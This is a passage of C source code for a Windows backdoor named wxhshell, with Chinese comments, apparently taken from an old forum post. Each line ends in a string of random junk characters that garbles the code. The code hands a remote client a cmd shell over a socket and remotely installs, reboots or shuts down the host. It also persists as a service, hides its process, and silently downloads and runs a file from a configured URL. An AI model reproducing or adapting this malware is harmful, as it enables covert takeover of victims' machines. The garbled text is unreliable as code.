    switch(cmd[0]) { dm8veKW'l  
  :*0k:h6g  
  // 帮助 `vL R;D  
  case '?': { #y-OkGS ^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bsP:tFw>  
    break; 0=t_ a]+  
  } AH`tkPd  
  // 安装 I"Ju3o?u  
  case 'i': { UF,T  
    if(Install()) ^q%~K{'`-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hy W4=  
    else 4JU#3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RNl%n}   
    break; s ~(qO|d  
    } zw\"!=r^  
  // 卸载 5\:#-IYJ  
  case 'r': { ,(OA5%A9zK  
    if(Uninstall()) 03$Ay_2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oJ{)0;<~L  
    else Z TjlGU `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &y3_>!L  
    break; |I)Ms NF  
    } a9FlzR  
  // 显示 wxhshell 所在路径 [GU!],Y  
  case 'p': { qe`W~a9x  
    char svExeFile[MAX_PATH]; ;6fkG/T  
    strcpy(svExeFile,"\n\r"); SY>N-fW\H:  
      strcat(svExeFile,ExeFile); `S;pn+5  
        send(wsh,svExeFile,strlen(svExeFile),0); .zBSjh_=H  
    break; n." j0kc7=  
    } goRoi\z $  
  // 重启 r/:9j(yxr  
  case 'b': { } ..}]J;To  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D dt9`j  
    if(Boot(REBOOT)) 2>ce(4Gky  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5C#&vYnq  
    else { n)$ q*IN"  
    closesocket(wsh); @^k$`W;  
    ExitThread(0); :L*CL 8m  
    } l]oGhM;  
    break; z#D@mn5\ a  
    } J@!Sf7k42  
  // 关机 zh*NRN  
  case 'd': { hh:0m\@<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Xsn1  
    if(Boot(SHUTDOWN)) i"Ct}7i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "W\ #d  
    else { &NHIX(b6  
    closesocket(wsh); D2>=^WP6+  
    ExitThread(0); "84.qgYaG  
    } OwSr`2'9  
    break; SV6Np?U  
    } +qzsC/y  
  // 获取shell  M"X/([G  
  case 's': { "=P@x|I  
    CmdShell(wsh); N{|N_}X`Y  
    closesocket(wsh); dgX0\lKpf  
    ExitThread(0); VdVca1Z  
    break; ^hY<avi6s  
  } u'Mq^8  
  // 退出 +]5JXt^  
  case 'x': { )Je iTh^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M ;\K+,  
    CloseIt(wsh); *Z)`:Gae  
    break; # ?}WQP!  
    } ,lL0'$k~  
  // 离开 /SlCcozFL~  
  case 'q': { R^%7|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NBUM* Z  
    closesocket(wsh); @B+  
    WSACleanup(); PuUqWW'^  
    exit(1); cN&b$ 8O=%  
    break; :t\PYDp1  
        } J]fjg%C2m  
  } ?%oPWmj}  
  } W?XvVPB  
5-=mtvA:  
  // 提示信息 96MRnj*Y[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t?YGGu^  
} olK%TM[Y  
  } .hETqE`E  
3<'SnP3mY  
  return; KY2xKco  
} h +N75  
c @2s!bs  
// shell模块句柄 l$zo3[  
int CmdShell(SOCKET sock) LR-op?W  
{ Q8z>0ci3o  
STARTUPINFO si; mQo]k  
ZeroMemory(&si,sizeof(si)); H^'*F->BA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z@T;N'EM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ")x9A&p  
PROCESS_INFORMATION ProcessInfo; )9L1WOGi  
char cmdline[]="cmd"; E*rDwTd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }tc,3> /  
  return 0; pX6OhwkTK  
} auL?Hb  
tao3Xr^?  
// 自身启动模式 /c3 DltOdr  
int StartFromService(void) ~~'XY(\L@  
{ ;uR8pz e  
typedef struct Yx XDRb\kW  
{ 78}iNGf  
  DWORD ExitStatus; 7<-D_$SrU  
  DWORD PebBaseAddress; X Uh)z  
  DWORD AffinityMask; .`xcR]PQ  
  DWORD BasePriority; >q[Elz=dI  
  ULONG UniqueProcessId; P%%Cd  
  ULONG InheritedFromUniqueProcessId; :R<,J=+$u  
}   PROCESS_BASIC_INFORMATION; <<4G GO  
9Z7o?S";  
PROCNTQSIP NtQueryInformationProcess; $~zqt%}  
@36^4E>h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M7!&gFv8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (w"zI!  
O{SU,"!y  
  HANDLE             hProcess; 63-`3R?;  
  PROCESS_BASIC_INFORMATION pbi; #Cbn"iYee  
Z-]d_Y~m4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +,c;Dff  
  if(NULL == hInst ) return 0; k{"~G#GwP  
n'%*vdHK m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o(|`atvK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3vVhE,1N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ROQk^  
}Ct_i'Ow  
  if (!NtQueryInformationProcess) return 0; p5G O@^i  
4?72TBl]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fN8A'p[  
  if(!hProcess) return 0; N#]f?6 *R  
<NT/+>:2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a] >|2JN<&  
/c__{?go  
  CloseHandle(hProcess); 1cOp"!  
a,lH6lDk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L-G186B$r  
if(hProcess==NULL) return 0; P{rJG '  
X3X~`~bAD  
HMODULE hMod; V,|9$A;  
char procName[255]; 9I30ULm  
unsigned long cbNeeded; ?#slg8[  
jVk|(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^x:4%%Q]l  
B]Yj"LM)  
  CloseHandle(hProcess); 0#sk]Qz  
sR?_{rQ  
if(strstr(procName,"services")) return 1; // 以服务启动 Y6^lKw  
(WN'wp  
  return 0; // 注册表启动 >2>xr"  
} w&:h^u  
>\(Ma3S   
// 主模块 %>5Ht e<  
int StartWxhshell(LPSTR lpCmdLine) = eTI@pN`  
{ +`.%aJIi9  
  SOCKET wsl; k= nfo-h  
BOOL val=TRUE; {TE0  
  int port=0; .yg"!X  
  struct sockaddr_in door; ,MOB+i(3*u  
sks_>BM  
  if(wscfg.ws_autoins) Install();  /=[M  
)bw>)&)b`  
port=atoi(lpCmdLine); Fk=_Q LI  
e0>@Yp[Kd  
if(port<=0) port=wscfg.ws_port; Me5umA  
Pgye{{  
  WSADATA data; ;@v7AF6Hq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *M- .Vor?R  
] p+t>'s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W+Gu\=s%O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G9Azd^3  
  door.sin_family = AF_INET; 8*6J\FE<p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .$v]B xu  
  door.sin_port = htons(port); UkXc7D^jwm  
><`.(Z5c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N]+x@M @^3  
closesocket(wsl); #Yj0'bgK  
return 1; %z8@;  
} =p&6A^  
Er{[83  
  if(listen(wsl,2) == INVALID_SOCKET) { CdTmL{Y1  
closesocket(wsl); `2r21rVntf  
return 1; t$Irr*  
} !dVcnK1  
  Wxhshell(wsl); R>pa? tQgK  
  WSACleanup(); \EB]J\ x<  
h`3;^T  
return 0; )-9|3`  
uVOpg]8d  
} ZpI_/  
 _%i|*  
// 以NT服务方式启动 ufEt"P-X.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ']+H P9i$  
{ ,u~\$ Az6  
DWORD   status = 0; Wc`Vcn1  
  DWORD   specificError = 0xfffffff; ;J?^M!l2=  
Zd~s5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l*%voKZG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Im6ymaf9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dVe3h.,[v  
  serviceStatus.dwWin32ExitCode     = 0; r=&PUT+vt  
  serviceStatus.dwServiceSpecificExitCode = 0; 0b*a2_|8k  
  serviceStatus.dwCheckPoint       = 0; Z][?'^`^!  
  serviceStatus.dwWaitHint       = 0; du'$JtZo  
9R.tkc|K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Av+ w>~/3  
  if (hServiceStatusHandle==0) return; RA.@(DN&  
{"{J*QH  
status = GetLastError(); )#*c|.  
  if (status!=NO_ERROR) H~Q UN  
{ IFpmf0;^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9h*$P:S;1v  
    serviceStatus.dwCheckPoint       = 0; z:< (b   
    serviceStatus.dwWaitHint       = 0; ?]h+En5z8  
    serviceStatus.dwWin32ExitCode     = status; 2$1rS}}  
    serviceStatus.dwServiceSpecificExitCode = specificError; K<+AJ(C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  pLyX9C  
    return; $8_*LR$  
  } hc0VS3 k)  
mYt(`S*q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Txoc  
  serviceStatus.dwCheckPoint       = 0; r% mN]?u  
  serviceStatus.dwWaitHint       = 0; *bv Iqa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L/<Up   
} m^]/ /j  
f<kL}B+,Og  
// 处理NT服务事件,比如:启动、停止 <;U"D.'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cpE&Fba}"  
{ wQ [2yq  
switch(fdwControl) !lu$WJ{M  
{ Z|wZyt$$  
case SERVICE_CONTROL_STOP: *+@/:$|U  
  serviceStatus.dwWin32ExitCode = 0; 7*[>e7:A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /I6?t= ?<  
  serviceStatus.dwCheckPoint   = 0; hk,Q=};  
  serviceStatus.dwWaitHint     = 0; ?cg+RNI  
  { If4YqBG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M6DyOe<  
  } G9V zVx#T#  
  return; CqrmdWN  
case SERVICE_CONTROL_PAUSE: cRU.   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]/d2*#  
  break; !+fHdB  
case SERVICE_CONTROL_CONTINUE: eh)J'G]G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,&)XhO?  
  break; sBSBDjk[  
case SERVICE_CONTROL_INTERROGATE: SB  \ptF  
  break; ]]`+aF0  
}; D 3Int0n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1/1P;8F@G  
} -,4_ &V  
*r9I 1W  
// 标准应用程序主函数 \nxt\KD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) typ*.j[q  
{ %o{vD&7\  
\ 2".Kb@=  
// 获取操作系统版本 2d1'!B zDA  
OsIsNt=GetOsVer(); gB~SCl54  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1U"Y'y2  
rx^pGVyg  
  // 从命令行安装 9"V27"s  
  if(strpbrk(lpCmdLine,"iI")) Install(); \t!+]v8f8  
3:=XU9p)x  
  // 下载执行文件 |AWu0h\keO  
if(wscfg.ws_downexe) { }3?M0:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =M(\R8  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0!(Ii@m=N  
} =20Q! wcu  
Rbr vY  
if(!OsIsNt) { ,][+:fvS  
// 如果时win9x,隐藏进程并且设置为注册表启动 GXHk{G@TS  
HideProc(); &Rn/ c}[{  
StartWxhshell(lpCmdLine); I [e7Up  
} MGmtA(  
else c~C :"g.y  
  if(StartFromService()) P, S9gG9  
  // 以服务方式启动 4AF" +L  
  StartServiceCtrlDispatcher(DispatchTable); f-{[ushj  
else IndNR:"g  
  // 普通方式启动 EO| kiC   
  StartWxhshell(lpCmdLine); `_v-Y`Z  
S?8q.59  
return 0; ,:L}S03k  
}
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只看该作者 1 发表于: 2006-10-10
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